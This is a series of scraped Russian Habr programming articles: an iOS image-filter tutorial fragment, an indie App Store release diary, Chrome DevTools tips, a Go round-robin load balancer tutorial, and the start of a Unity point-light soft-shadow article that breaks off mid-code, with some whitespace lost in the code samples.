if (scrollView.zoomScale> scrollView.maximumZoomScale)
scrollView.zoomScale = scrollView.maximumZoomScale;
elseif (scrollView.zoomScale< scrollView.minimumZoomScale)
scrollView.zoomScale = scrollView.minimumZoomScale;
[selfscrollViewDidZoom:scrollView];
}
#pragma mark - other
// далее приведен набор методов для масштабирования
CGSizesizeFill(CGSize size, CGSize sizeToFill)
{
CGSize newSize;
if (size.width / sizeToFill.width< size.height / sizeToFill.height)
newSize = CGSizeMake(sizeToFill.width, sizeToFill.width*size.height/size.width);
else
newSize = CGSizeMake(sizeToFill.height*size.width/size.height, sizeToFill.height);
return newSize;
}
CGSizesizeFit(CGSize size, CGSize sizeToFit)
{
float w = size.width/sizeToFit.width;
float h = size.height/sizeToFit.height;
return w > h ? CGSizeMake(sizeToFit.width, size.height/w) : CGSizeMake(size.width/h, sizeToFit.height);
}
CGRectframeFill(CGSize size, CGSize sizeToFill)
{
CGSize szFill = sizeFill(size, sizeToFill);
CGPoint pntFill = CGPointMake(sizeToFill.width/2.-szFill.width/2., sizeToFill.height/2.-szFill.height/2.);
returnCGRectMake(pntFill.x, pntFill.y, szFill.width, szFill.height);
}
```
Следующий метод жизненного цикла ViewController – это viewDidLoad. viewDidLoad является хорошим местом для продолжения инициализации контроллера. Нам он не понадобится по причине того, что инициализация всех элементов дизайна уже определена. Однако размеры view не заданы, поэтому добавим обработку ScrollView в следующим этапе жизненного цикла viewWillAppear:
```
-(void)viewWillAppear:(BOOL)animated
{
[superviewWillAppear:animated];
dispatch_async(dispatch_get_main_queue(), ^{
[selfupdateScaleInScrollView:self.scrollView];
});
}
```
Создадим метод для вывода превью фильтров:
```
-(void)makeFilterPreviews
{
self.filterPreviews = [[NSMutableArrayalloc] init];
float size = 90 * [UIScreenmainScreen].scale;
CGRect cropRect = frameFill(self.image.size,CGSizeMake(size, size));
UIGraphicsBeginImageContext(CGSizeMake(size, size));
[self.imagedrawInRect:cropRect];
UIImage *cropped = UIGraphicsGetImageFromCurrentImageContext();
UIGraphicsEndImageContext();
CIImage *ciimg = [[CIImagealloc] initWithImage:cropped];
for (int i = 0; i < [UIImagefilterNames].count; i++)
{
CIImage *ciFiltered = [ciimg applyFilter:i];
UIImage *filtered = [UIImageimageWithCIImageImproved:ciFiltered];
[self.filterPreviewsaddObject:filtered];
}
}
```
и пропишем вызов этого метода в loadView
```
[self makeFilterPreviews];
```
Запустим наш проект. После выбора изображения приложение зависает на некоторое время. Это происходит потому, что на применение фильтров к изображению требуется время. После применения всех фильтров загрузится контроллер с изображением и коллекция с фильтрами.
Чтобы обеспечить отзывчивость интерфейса, добавим асинхронность при выполнении метода.
```
-(void)makeFilterPreviews
{
self.filterPreviews = [[NSMutableArrayalloc] init];
//Заполним массив пустыми элементами для предварительного отображения в коллекцию ->
for (long i = 0; i < [UIImagefilterNames].count; i++)
{
[self.filterPreviews addObject:[[UIImage alloc]init]];
}
float size = 90 * [UIScreenmainScreen].scale;
CGRect cropRect = frameFill(self.image.size,CGSizeMake(size, size));
UIGraphicsBeginImageContext(CGSizeMake(size, size));
[self.imagedrawInRect:cropRect];
UIImage *cropped = UIGraphicsGetImageFromCurrentImageContext();
UIGraphicsEndImageContext();
CIImage *ciimg = [[CIImagealloc] initWithImage:cropped];
//создадим очередь для добавления превью изображения с примененным фильтром
NSOperationQueue *queue = [[NSOperationQueuealloc]init];
queue.maxConcurrentOperationCount = 2;
for (int i = 0; i < [UIImagefilterNames].count; i++)
{
[queueaddOperationWithBlock:^{
CIImage *ciFiltered = [ciimg applyFilter:i];
UIImage *filtered = [UIImageimageWithCIImageImproved:ciFiltered];
@synchronized (self.filterPreviews) {
[self.filterPreviewsreplaceObjectAtIndex:i withObject:filtered];
dispatch_sync(dispatch_get_main_queue(), ^{
[self.filtersCollectionreloadData];
});
}
}];
}
}
```
@synchronized (self.filterPreviews) блокирует редактирование массива filterPreviews для всех элементов, кроме текущего.
Чтобы корректно обновить коллекцию, нужно это делать в потоке dispatch\_get\_main\_queue().
Оставшиеся методы жизненного цикла ViewController:
* viewDidAppear:(BOOL)animated — вызывается после отрисовки всех элементов интерфейса
* viewWillDisappear:(BOOL)animated — вызывается перед удалением всех элементов интерфейса
* viewDidDisappear:(BOOL)animated – вызвается после удаления
* viewDidUnload – вызывается, когда view выгружен из памяти
нами не использовались.
Теперь создадим кнопку Save.
Добавим Navigation Item.
Добавим кнопку на Navigation Item.
И пропишем в действии кнопки:
```
- (IBAction)saveBtn:(id)sender {
UIImageWriteToSavedPhotosAlbum(_imageView.image, nil, nil, nil);
}
```
Запустим приложение, выберем изображение и фильтр. Когда фильтр будет применен, нажмем Save. На симуляторе мы можем использовать комбинацию клавиш cmd+shift+h (это тоже самое что и кнопка “Домой” на iPhone), открыть Галерею – и найти там то самое изображение. | https://habr.com/ru/post/325352/ | null | ru | null |
# 6 игр за 6 недель — неделя первая
6 ноября я решил выпустить 6 новых игр за 6 недель.
Если Вы еще не выпустили ни одной игрушки в AppStore, то ноябрь, декабрь — самые лучшие месяцы для этого события.
В этом году Вы, конечно, не успеете, но в 2015-ом вполне.
Я — успел.
Были высказаны следующие ограничения — 1) никаких Unity, 2) никаких клонов известных игр, 3) простейшее управление, 4) сложнейшее решение.
Игры получились интересные для меня, а значит местные математики одобрят. Разумеется, большинству игроков они окажутся не по зубам, поэтому заработка не принесут. Но какие-то доллары упадут, финансовый отчет за декабрь будет представлен в январе.
#### Игра первая Swips
Управление простейшее — водить пальцем по экрану по горизонтали, либо — по вертикали.
Задача — не дать себя засыпать цветным фишкам.
Прожить как можно дольше.
Самым живучим откроются 4 комнаты, которые можно сдавать приезжим.
С доски снимаются фишки, образующие фигурки, как в тетрисе.
#### Трудозатраты
При создании игры необходимы рутинные приемы, требующие времени.
Грубо говоря, надо 4 часа на предварительные действия
* Создание проекта в Xcode — копирование контейнеров, xib, звуков, картинок из предыдущих проектов
* Создание приложения в [iTunes](https://itunes.apple.com/us/app/b4/id951003471?ls=1&mt=8)
* Создание рекламной компании в AdMob для банерной рекламы
* Создание рекламной компании в ChartBoost для межстраничной рекламы
* Создание проекта в GameCenter
* Создание mysql таблиц лучших результатов (копирование таблиц из предыдущих проектов)
* Создание php скриптов для обработки лучших результатов (копирование файлов из предыдущих проектов)
* Создание иконки 1024 на 1024 и 4-ех иконок с размером сторон 180, 152, 120, 76
* Создание трех всплывающих окон для iPad, старый iPhone и новый iPhone
* ...
* Создание 4х5=20 скриншотов игры
* Создание 30-секундного видеоролика при помощи QuickTime и HandBrake
Рисование картинок — 2 дня.
Программирование — 2 дня.
Отладка — 2 дня.
Все — в фоновом режиме.
Для отображения всех элементов игры используется простейший массив и набор UIImageView.
```
NSMutableArray *cells;
cells = [[NSMutableArray alloc] init];
for (int j=0; j
```
#### Одобрение приложения
Review team настолько обленились, что на проверку приложения тратят не более 20 минут.
Взгляните на время прихода писем. Раньше неделями проверяли.
#### Демо ролик для созерцания
Спасибо за внимание. | https://habr.com/ru/post/246069/ | null | ru | null |
# DevTips: Советы веб-разработчику (49-64)
Привет, Хабр! В этот прекрасный пятничный день предлагаем вам ознакомиться с очередной частью цикла переводов советов для веб-разработчиков. Предыдущие части: [1-16](http://habrahabr.ru/company/mailru/blog/268519/), [17-32](http://habrahabr.ru/company/mailru/blog/268777/), [33-48](https://habrahabr.ru/company/mailru/blog/275425/).
**Содержание:**
49 [Циклическое переключение между панелями при помощи шорткатов](https://habrahabr.ru/company/mailru/blog/278021/#49)
50 [Проверка и активация CSS media queries, а также нахождение этих правил в коде](https://habrahabr.ru/company/mailru/blog/278021/#50)
51 [Предустановка разрешения нового устройства](https://habrahabr.ru/company/mailru/blog/278021/#51)
52 [Улучшения полоски хлебных крошек в панели Elements](https://habrahabr.ru/company/mailru/blog/278021/#52)
53 [Печать стектрейса в консоли](https://habrahabr.ru/company/mailru/blog/278021/#53)
54 [Детектирование долгих фреймов (не путать с iframe)](https://habrahabr.ru/company/mailru/blog/278021/#54)
55 [Продвинутая фильтрация запросов в панели «Network»](https://habrahabr.ru/company/mailru/blog/278021/#55)
56 [Поиск по проекту с возможностью указания файла](https://habrahabr.ru/company/mailru/blog/278021/#56)
57 [Новый экспериментальный редактор раскладки страницы](https://habrahabr.ru/company/mailru/blog/278021/#57)
58 [Дублирование DOM-элементов](https://habrahabr.ru/company/mailru/blog/278021/#58)
59 [Просмотр скриншотов поведения страницы](https://habrahabr.ru/company/mailru/blog/278021/#59)
60 [Редактирование html-кода в панели «Console»](https://habrahabr.ru/company/mailru/blog/278021/#60)
61 [Простые клавиатурные трюки для управления панелей «Стили»](https://habrahabr.ru/company/mailru/blog/278021/#61)
62 [Выбор цвета, сгенерированного палитрой](https://habrahabr.ru/company/mailru/blog/278021/#62)
63 [Инкремент и декремент чисел в DOM-атрибутах](https://habrahabr.ru/company/mailru/blog/278021/#63)
64 [Сетевые запросы в панели «Timeline»](https://habrahabr.ru/company/mailru/blog/278021/#64)
49. Циклическое переключение между панелями при помощи шорткатов
----------------------------------------------------------------
Используйте **Cmd + ]** / **Cmd + [** для циклического переключениями между панелями в DevTools. Кроме этого существует шорткат **Cmd + Alt + i** для открытия инструментов разработчика.
**Посмотреть скринкаст**
50. Проверка и активация CSS media queries, а также нахождение этих правил в коде
---------------------------------------------------------------------------------
В деле инспектирования и активации зарегистрированных CSS media queries вам поможет инструмент **Media Query Inspector**. Чтобы его открыть, в режиме устройства (Device Mode) кликните на иконку, напоминающую лесенку, в верхнем левом углу страницы. Вы можете активировать различные точки останова простым кликом на появившиеся полосы. При этом правых клик на них позволяет открыть конкретную место в коде, где эта Media Query определена.
**Посмотреть скринкаст**
51. Предустановка разрешения нового устройства
----------------------------------------------
Часто ли вам приходится эмулировать разрешение нового устройства? Режим **Device Mode** позволяет задать и запомнить профиль такого аппарата.
1. Откройте панель **Devices** в настройках DevTools.
2. Выберите **Add custom device**.
3. Введите информацию об устройстве.
4. Нажмите на **Add Device**.
Добавленное выше устройство появится в меню **Devices** в верхнем левом углу.
**Посмотреть скринкаст**
52. Улучшения полоски хлебных крошек в панели Elements
------------------------------------------------------
А вы знали, что в панели **Elements** есть «хлебные крошки»? Они могут помочь вам отслеживать полную вложенность, когда вы работаете с DOM-деревом. Активируйте экспериментальный **Material Design** в Canary и вы получите несколько приятных фич:
* В новом дизайне «хлебные крошки» смотрятся гораздо лучшее.
* Теперь они находятся сверху панели Elements, что улучшает их видимость.
* В общем, интерфейс DevTools стал выглядеть более структуризированным.
Не забывайте, что по клику на конкретный сегмент «хлебных крошек» будет подсвечен соответствующий DOM-элемент.
**Посмотреть скринкаст**
53. Печать стектрейса в консоли
-------------------------------
Вызов функции `console.trace()` может вам помочь быстро и легко получить стектрейс для лучшего понимания потока управления вашей программы.
Его особенности:
* Вы получите имена файлов и номера строк, кликнув по которым вы переместитесь в соответствующее место кода.
* `console.trace` совместим со сниппетами.
* Этот метод является часть **Console API** (наряду с `console.log`).
**Посмотреть скринкаст**
54. Детектирование долгих фреймов (не путать с iframe)
------------------------------------------------------
Панель **Timeline** в Canary может подсвечивать некоторые фреймы красным. Это предупреждение означает, что время нахождения в нем вышло за рамки 18мс. При клике на конкретный фрейм вы получите детальную информацию о причинах возникновения проблемы. Если частота обновления монитора 60Гц (так делают большинство дисплеев), то на фрейм должно приходится не более 16мс, потому что 1000мс / 60 кадров в секунду = ~16мс.
**Посмотреть скринкаст**
55. Продвинутая фильтрация запросов в панели «Network»
------------------------------------------------------
Для того, чтобы уменьшить количество найденных сетевых запросов, используйте продвинутую фильтрацию:
* `larger-than:100` выведет вам все ресурсы, размер которых превышает 100 байт.
* `-larger-than:50k` найдет все запросы, не превышающие 50Кб.
* `status-code:200` покажет все ответы со статусом `200`.
Вот еще несколько запросов, с которыми вы можете поэкспериментировать:
* domain
* mime-type
* scheme
* set-cookie-domain
* set-cookie-value
* has-response-header
Автодополнение поиска поможет вам обнаружить все фильтры и определить тип их значений. При этом все показанные значения взяты из записанных запросов при последней сессии.
**Посмотреть скринкаст**
56. Поиск по проекту с возможностью указания файла
--------------------------------------------------
Вы можете искать по всем файлам при помощи шортката **Cmd + Opt + F** / **Ctrl + Shift + F**. Если поиск вернет слишком много результатов, вы можете ограничить выборку, указав конкретный файл, поменяв запрос `query` на `query file:main.js` или `query file:main`.
**Посмотреть скринкаст**
57. Новый экспериментальный редактор раскладки страницы
-------------------------------------------------------
**Layout Editor** — скрытый эксперимент средств разработчика Canary. Хотя некоторая функциональность из этого инструмента может измениться или вовсе исчезнуть, я расскажу кое-что о нем:
* Когда вы инспектируете элемент, рядом с его границами появляются маркеры.
* Потянув за них, вы измените отступы (**margin** или **padding**) этого узла.
* Эти маркеры также отображают текущее значение отступов в процессе их изменения.
**Посмотреть скринкаст**
58. Дублирование DOM-элементов
------------------------------
DevTools позволяют очень просто модифицировать DOM-дерево, не меняя при этом куски html-кода.
* Кликните на элементе в панели **Elements** правой кнопкой и выберите **Copy**.
* Теперь вы можете вставить этот элемент в текстовый редактор или, для прототипирования, в любое другое место DOM-дерева. Скопированный узел добавляется в качестве ребенка выбранного элемента. В видео я поднимался от дочернего узла к родительскому при помощи **←** для того, чтобы вставить элемент в него.
Кроме этого вам доступка функция **Cut** (также она вызывается по **Cmd + x** / **Ctrl + x**). В противовес копирования, она переместит элемент на новое место в дереве.
*Эксперимент:* Попробуйте добавить больше ссылок в хедер/футер какого-нибудь сайта при помощи техники копирования-вставки и выяснить, какие места верстки требуют улучшения!
**Посмотреть скринкаст**
59. Просмотр скриншотов поведения страницы
------------------------------------------
Панель **Timeline** позволяет вам снимать скриншоты поведения страницы. При перемещении курсова от начала к концу записи вы увидите визуальное состояние веб-приложения, изменяющееся во времени.
Далее вы сможете сопоставить фреймы с пиками или предупреждениями с полученными скриншотами, чтобы определить, почему страница работала с неудовлетворительной производительностью.
**Посмотреть скринкаст**
60. Редактирование html-кода в панели «Console»
-----------------------------------------------
Контекстное меню DOM-элемента, знакомое вам по панели **Elements** также доступно и в панели **Console**.
1. Отлогируйте DOM-узел в консоль и вызовите его контекстное меню.
2. Выберите **Edit as HTML** или **Edit Text** и отредактируйте его.
3. Заметьте, что оригинальный узел в панели **Elements** будет также изменен.
**Посмотреть скринкаст**
61. Простые клавиатурные трюки для управления панелей «Стили»
-------------------------------------------------------------
Клавиша **Tab** позволяет вам навигироваться по CSS-свойствам в следующей порядке:
* Селектор (например, **h1**)
* Свойство (например, **color**)
* Значение (например, **green**)
В случае достижения конца CSS-правила курсор будет перенесен на следующее. Кроме этого сочетание **Shift + Tab** переключает фокус в обратную сторону. Предположим, в поле названия правила вы начали вводить `back` с намерением выбрать `background` из вариантов выпадающей подсказки, но случайно ошиблись и выбрали `background-color`. В этом случае просто нажмите клавишу **Backspace**, и вы будете перемещены обратно к редактированию названия свойства.
Для удаления свойства вы можете стереть его название или значение при помощи **Backspace**, а дальше просто нажмите **Enter**.
**Посмотреть скринкаст**
62. Выбор цвета, сгенерированного палитрой
------------------------------------------
Инструмент выбора цвета (**Color Picker**) в Canary DevTools снова получил обновление. Теперь он получил новую цветовую палитру, генерирующуюся автоматически на основании набора цветов, уже представленных в ваших таблицах стилей.
**Посмотреть скринкаст**
63. Инкремент и декремент чисел в DOM-атрибутах
-----------------------------------------------
Вы можете модифицировать DOM-атрибут так же, как и название класса при помощи клавиш **↑** / **↓**. Предположим, что на некотором элементе висит класс `span_1_of_7`, стрелка **↑** в этом случае трансформирует его в `span_2_of_7`.
Эта возможность может быть очень полезной, если вы используете систему CSS-сеток, которая включает в имена классов элементов конкретные числа.
**Посмотреть скринкаст**
64. Сетевые запросы в панели «Timeline»
---------------------------------------
Разработчики Canary DevTools сделали новый эксперимент **Network on Timeline**: теперь панель **Timeline** отображает сетевые запросы, которые могли бы влиять на процесс отображения страницы.
**Посмотреть скринкаст** | https://habr.com/ru/post/278021/ | null | ru | null |
# Пишем на Go простой балансировщик
Балансировщики нагрузки играют в веб-архитектуре ключевую роль. Они позволяют распределять нагрузку по нескольким бэкендам, тем самым улучшая масштабируемость. А поскольку у нас сконфигурировано несколько бэкендов, сервис становится высокодоступным, потому что в случае сбоя на одном сервере балансировщик может выбирать другой работающий сервер.
Поигравшись с профессиональными балансировщиками наподобие NGINX, я попробовал ради веселья создать простенький балансировщик. Написал я его на Go, это современный язык, поддерживающий полноценный параллелизм. Стандартная библиотека в Go имеет широкие возможности и позволяет писать высокопроизводительные приложения с меньшим количеством кода. К тому же для простоты распространения она генерирует единственный статически скомпонованный бинарник.
Как работает наш балансировщик
------------------------------
Для распределения нагрузки по бэкендам используются разные алгоритмы. Например:
* Round Robin — нагрузка распределяется равномерно, с учётом одинаковой вычислительной мощности серверов.
* Weighted Round Robin — в зависимости от вычислительной мощности серверам могут присваиваться разные веса.
* Least Connections — нагрузка распределяется по серверам с наименьшим количеством активных подключений.
В нашем балансировщике мы реализуем простейший алгоритм — Round Robin.
Выбор в Round Robin
-------------------
Алгоритм Round Robin прост. Он даёт всем исполнителям одинаковые возможности по выполнению задач.
*Выбор серверов в Round Robin для обработки входящих запросов.*
Как показано на иллюстрации, алгоритм выбирает серверы по кругу, циклически. Но мы не можем выбирать их *напрямую*, верно?
А если сервер лежит? Вероятно, нам не нужно отправлять на него трафик. То есть сервер не может использоваться напрямую, пока мы не приведём его в нужное состояние. Нужно направлять трафик только на те серверы, которые запущены и работают.
Определим структуры
-------------------
Нам нужно отслеживать все подробности, связанные с бэкендом. Необходимо знать, живой ли он, а также отслеживать URL. Для этого мы можем определить такую структуру:
```
type Backend struct {
URL *url.URL
Alive bool
mux sync.RWMutex
ReverseProxy *httputil.ReverseProxy
}
```
Не волнуйтесь, я поясню значения полей в Backend.
Теперь в балансировщике нужно как-то отслеживать все бэкенды. Для этого можно воспользоваться Slice и счётчиком переменных. Определим его в ServerPool:
```
type ServerPool struct {
backends []*Backend
current uint64
}
```
Использование ReverseProxy
--------------------------
Как мы уже определили, суть балансировщика в распределении трафика по разным серверам и возвращении результатов клиенту. Как сказано в документации Go:
*ReverseProxy — это обработчик HTTP, который берёт входящие запросы и отправляет на другой сервер, проксируя ответы обратно клиенту.*
Именно то, что нам нужно. Не надо изобретать колесо. Можно просто транслировать наши запросы через `ReverseProxy`.
```
u, _ := url.Parse("http://localhost:8080")
rp := httputil.NewSingleHostReverseProxy(u)
// initialize your server and add this as handler
http.HandlerFunc(rp.ServeHTTP)
```
C помощью `httputil.NewSingleHostReverseProxy(url)` можно инициализировать `ReverseProxy`, который будет транслировать запросы на переданный `url`. В приведённом выше примере все запросы переданы на localhost:8080, а результаты отосланы клиенту.
Если посмотреть на сигнатуру метода ServeHTTP, то в ней можно найти сигнатуру HTTP-обработчика. Поэтому можно передавать его `HandlerFunc` в `http`.
Другие примеры есть в [документации](https://golang.org/pkg/net/http/httputil/#ReverseProxy).
Для нашего балансировщика можно инициировать `ReverseProxy` с ассоциированным `URL` в `Backend`, чтобы ReverseProxy маршрутизировал запросы в `URL`.
Процесс выбора серверов
-----------------------
В ходе очередного выбора сервера нам нужно пропускать лежащие серверы. Но необходимо организовать подсчёт.
Многочисленные клиенты будут подключаться к балансировщику, и когда каждый из них попросит следующий узел передать трафик, может возникнуть состояние гонки. Для предотвращения этого мы можем блокировать `ServerPool` с помощью `mutex`. Но это будет избыточно, к тому же мы вообще не хотим блокировать `ServerPool`. Нам лишь нужно увеличить счётчик на единицу.
Наилучшим решением, соблюдающим эти требования, будет атомарное инкрементирование. Go поддерживает его с помощью пакета `atomic`.
```
func (s *ServerPool) NextIndex() int {
return int(atomic.AddUint64(&s.current, uint64(1)) % uint64(len(s.backends)))
}
```
Мы атомарно увеличиваем текущее значение на единицу и возвращаем индекс, изменяя длину массива. Это означает, что значение всегда должно лежать в диапазоне от 0 до длины массива. В конце нас будет интересовать конкретный индекс, а не весь счётчик.
Выбор живого сервера
--------------------
Мы уже знаем, что наши запросы циклически ротируются по всем серверам. И нам нужно лишь пропускать неработающие.
`GetNext()` всегда возвращает значение, лежащее в диапазоне от 0 до длины массива. В любой момент мы можем получить следующий узел, и если он неактивен, нужно в рамках цикла искать дальше по массиву.
*Циклически проходим по массиву.*
Как показано на иллюстрации, мы хотим пройти от следующего узла до конца списка. Это можно сделать с помощью `next + length`. Но для выбора индекса нужно ограничить его рамками длины массива. Это легко можно сделать с помощью операции модифицирования.
После того, как мы в ходе поиска нашли работающий сервер, его нужно пометить как текущий:
```
// GetNextPeer returns next active peer to take a connection
func (s *ServerPool) GetNextPeer() *Backend {
// loop entire backends to find out an Alive backend
next := s.NextIndex()
l := len(s.backends) + next // start from next and move a full cycle
for i := next; i < l; i++ {
idx := i % len(s.backends) // take an index by modding with length
// if we have an alive backend, use it and store if its not the original one
if s.backends[idx].IsAlive() {
if i != next {
atomic.StoreUint64(&s.current, uint64(idx)) // mark the current one
}
return s.backends[idx]
}
}
return nil
}
```
Избегаем состояния гонки в структуре Backend
--------------------------------------------
Здесь нужно помнить о важной проблеме. Структура `Backend` содержит переменную, которую могут изменять или запрашивать одновременно несколько горутин.
Мы знаем, что читать переменную будет больше горутин, чем записывать в неё. Поэтому для сериализации доступа к `Alive` мы выбрали `RWMutex`.
```
// SetAlive for this backend
func (b *Backend) SetAlive(alive bool) {
b.mux.Lock()
b.Alive = alive
b.mux.Unlock()
}
// IsAlive returns true when backend is alive
func (b *Backend) IsAlive() (alive bool) {
b.mux.RLock()
alive = b.Alive
b.mux.RUnlock()
return
}
```
Балансируем запросы
-------------------
Теперь можно сформулировать простой метод для балансировки наших запросов. Он будет сбоить лишь в том случае, если упадут все серверы.
```
// lb load balances the incoming request
func lb(w http.ResponseWriter, r *http.Request) {
peer := serverPool.GetNextPeer()
if peer != nil {
peer.ReverseProxy.ServeHTTP(w, r)
return
}
http.Error(w, "Service not available", http.StatusServiceUnavailable)
}
```
Этот метод можно передать HTTP-серверу просто в виде `HandlerFunc`.
```
server := http.Server{
Addr: fmt.Sprintf(":%d", port),
Handler: http.HandlerFunc(lb),
}
```
Маршрутизируем трафик только на работающие серверы
--------------------------------------------------
У нашего балансировщика серьёзная проблема. Мы не знаем, работает ли сервер. Чтобы узнать это, нужно проверить сервер. Сделать это можно двумя способами:
* Активный: выполняя текущий запрос, мы обнаруживаем, что выбранный сервер не отвечает, и помечаем его как нерабочий.
* Пассивный: можно пинговать серверы с каким-то интервалом и проверять статус.
Активно проверяем работающие серверы
------------------------------------
При любой ошибке `ReverseProxy` инициирует функцию обратного вызова `ErrorHandler`. Это можно применять для обнаружения сбоев:
```
proxy.ErrorHandler = func(writer http.ResponseWriter, request *http.Request, e error) {
log.Printf("[%s] %s\n", serverUrl.Host, e.Error())
retries := GetRetryFromContext(request)
if retries < 3 {
select {
case <-time.After(10 * time.Millisecond):
ctx := context.WithValue(request.Context(), Retry, retries+1)
proxy.ServeHTTP(writer, request.WithContext(ctx))
}
return
}
// after 3 retries, mark this backend as down
serverPool.MarkBackendStatus(serverUrl, false)
// if the same request routing for few attempts with different backends, increase the count
attempts := GetAttemptsFromContext(request)
log.Printf("%s(%s) Attempting retry %d\n", request.RemoteAddr, request.URL.Path, attempts)
ctx := context.WithValue(request.Context(), Attempts, attempts+1)
lb(writer, request.WithContext(ctx))
}
```
При разработке этого обработчика ошибок мы использовали возможности замыканий. Это позволяет нам захватывать в наш метод такие внешние переменные, как серверный URL. Обработчик проверяет счётчик повторов, и если он меньше 3, то мы снова отправляем тот же запрос тому же серверу. Это делается потому, что из-за временных ошибок сервер может отбрасывать наши запросы, но вскоре он становится доступен (возможно, у сервера не было свободных сокетов для новых клиентов). Так что нужно настроить таймер задержки для новой попытки примерно через 10 мс. С каждым запросом мы увеличиваем счётчик попыток.
После сбоя каждой попытки мы помечаем сервер как нерабочий.
Теперь нужно назначить для того же запроса новый сервер. Делать мы это будем с помощью счётчика попыток, использующего пакет `context`. После увеличения счётчика попыток мы передаём его в `lb` для выбора нового сервера для обработки запроса.
Мы не можем делать это бесконечно, так что будем проверять в `lb`, не достигнуто ли максимальное количество попыток, прежде чем продолжить обработку запроса.
Можно просто получить счётчик попыток из запроса, если он достиг максимума, то мы прерываем запрос.
```
// lb load balances the incoming request
func lb(w http.ResponseWriter, r *http.Request) {
attempts := GetAttemptsFromContext(r)
if attempts > 3 {
log.Printf("%s(%s) Max attempts reached, terminating\n", r.RemoteAddr, r.URL.Path)
http.Error(w, "Service not available", http.StatusServiceUnavailable)
return
}
peer := serverPool.GetNextPeer()
if peer != nil {
peer.ReverseProxy.ServeHTTP(w, r)
return
}
http.Error(w, "Service not available", http.StatusServiceUnavailable)
}
```
Это рекурсивная реализация.
Использование пакета context
----------------------------
Пакет `context` позволяет сохранять полезные данные в HTTP-запросах. Мы будем активно это использовать для отслеживания данных, относящихся к запросам — счётчиков `Attempt` и `Retry`.
Во-первых, нужно задать ключи для контекста. Рекомендуется использовать не строковые, а уникальные числовые значения. В Go есть ключевое слова `iota` для инкрементальной реализации констант, каждая из которых содержит уникальное значение. Это прекрасное решение для определения числовых ключей.
```
const (
Attempts int = iota
Retry
)
```
Затем можно извлечь значение, как мы обычно делаем с помощью `HashMap`. Возвращаемое по умолчанию значение может зависеть от текущей ситуации.
```
// GetAttemptsFromContext returns the attempts for request
func GetRetryFromContext(r *http.Request) int {
if retry, ok := r.Context().Value(Retry).(int); ok {
return retry
}
return 0
}
```
Пассивная проверка серверов
---------------------------
Пассивные проверки позволяют идентифицировать и восстанавливать упавшие серверы. Мы пингуем их с определённым интервалом, чтобы определить их статус.
Для пингования попробуем установить TCP-соединение. Если сервер отвечает, мы помечаем его рабочим. Этот метод можно адаптировать для вызова специфических конечных точек наподобие `/status`. Удостоверьтесь, что закрыли подключение после его создания, чтобы уменьшить дополнительную нагрузку на сервер. Иначе он будет пытаться поддерживать это подключение и в конце концов исчерпает свои ресурсы.
```
// isAlive checks whether a backend is Alive by establishing a TCP connection
func isBackendAlive(u *url.URL) bool {
timeout := 2 * time.Second
conn, err := net.DialTimeout("tcp", u.Host, timeout)
if err != nil {
log.Println("Site unreachable, error: ", err)
return false
}
_ = conn.Close() // close it, we dont need to maintain this connection
return true
}
```
Теперь можно итерировать серверы и отмечать их статусы:
```
// HealthCheck pings the backends and update the status
func (s *ServerPool) HealthCheck() {
for _, b := range s.backends {
status := "up"
alive := isBackendAlive(b.URL)
b.SetAlive(alive)
if !alive {
status = "down"
}
log.Printf("%s [%s]\n", b.URL, status)
}
}
```
Для периодического запуска этого кода можно запустить в Go таймер. Он позволит слушать события в канале.
```
// healthCheck runs a routine for check status of the backends every 2 mins
func healthCheck() {
t := time.NewTicker(time.Second * 20)
for {
select {
case <-t.C:
log.Println("Starting health check...")
serverPool.HealthCheck()
log.Println("Health check completed")
}
}
}
```
В этом коде канал `<-t.C` будет возвращать значение каждые 20 секунд. `select` позволяет определять это событие. При отсутствии ситуации `default` он ждёт, пока хотя бы один case может быть выполнен.
Теперь запускаем код в отдельной горутине:
```
go healthCheck()
```
Заключение
----------
В этой статье мы рассмотрели много вопросов:
* Алгоритм Round Robin
* ReverseProxy из стандартной библиотеки
* Мьютексы
* Атомарные операции
* Замыкания
* Обратные вызовы
* Операция выбора
Есть ещё много способов улучшить наш балансировщик. Например:
* Использовать кучу для сортировки живых серверов, чтобы уменьшить область поиска.
* Собирать статистику.
* Реализовать алгоритм weighted round-robin c наименьшим количеством коннектов.
* Добавить поддержку конфигурационных файлов.
И так далее.
Исходный код лежит [здесь](https://github.com/kasvith/simplelb/). | https://habr.com/ru/post/476276/ | null | ru | null |
# Прокачка pointlight теней в Unity
Аналогов подобных теней для точечного источника света (Pointlight с эффектом размытия на расстоянии, имитирующий arealight) в компьютерных играх я почему-то до сих пор не встречал. Везде — либо полностью запечённые тени, либо «лампочки» вообще без теней, максимум — обыкновенная PCF-фильтрация. Хотя для направленного солнечного света уже давно применяются PCSS-тени (GTA5, например). В Unreal есть интересный алгоритм сродни рейтрейсингу, который рисует красивые arealight-тени, но только для статической геометрии (требуется генерация дополнительных объёмов). В Unity же всё совсем плохо — мягко фильтруется только солнечный свет, а «прожекторы» и «лампочки» в пролёте.
Если на «прожекторах» в Unity висит хоть какая-то худо-бедно билинейная фильтрация, то на точечных «лампочках» такой вот ужас:
Неужели, добавить обыкновенную PCF-фильтрацию — это такой удар по производительности? Даже если и удар, то почему не сделать возможность включения этой фильтрации опционально?
Как выяснилось, удара по производительности нет. В Unity 5 действует технология deffered lighting (отложенное освещение), и чем больше в кадре источников света с динамической тенью, тем хуже производительность. А уж какая фильтрация у этих теней — не столь важно. Осуществляется одно и то же число проходов, обрабатывается столько же пикселей, этот момент как раз и требует оптимизации сцены. А число выборок из кубической текстуры глубины «лампочки» пусть и влияет на производительность, но очень незначительно (в районе пары FPS).
Также стоит сказать, что размывать полученную тень image-эффектом не получится. Нет никакой прослойки между выборкой из текстуры глубины и наложением света, такая уж система в Unity. А жаль, можно было бы в чём-то выиграть.
**Итак, меняем алгоритм**
Создавать специальные материалы ради мягких теней кропотливо, вносить изменения в имеющиеся шейдеры скриптом (как это сделано в ShadowSoftener) — тоже как-то не очень удобно. Гораздо быстрее и практичнее применить тени сразу ко всем шейдерам в проекте (встроенным, рукописным, скачанным), изменив всего один файл «UnityShadowLibrary.cginc», который находится в директории редактора: "...\Unity5\Editor\Data\CGIncludes".
Находим этот кусочек, который отвечает за тень от точечного источника света:
```
#if defined (SHADOWS_SOFT)
float z = 1.0/128.0;
float4 shadowVals;
shadowVals.x = SampleCubeDistance (vec+float3( z, z, z));
shadowVals.y = SampleCubeDistance (vec+float3(-z,-z, z));
shadowVals.z = SampleCubeDistance (vec+float3(-z, z,-z));
shadowVals.w = SampleCubeDistance (vec+float3( z,-z,-z));
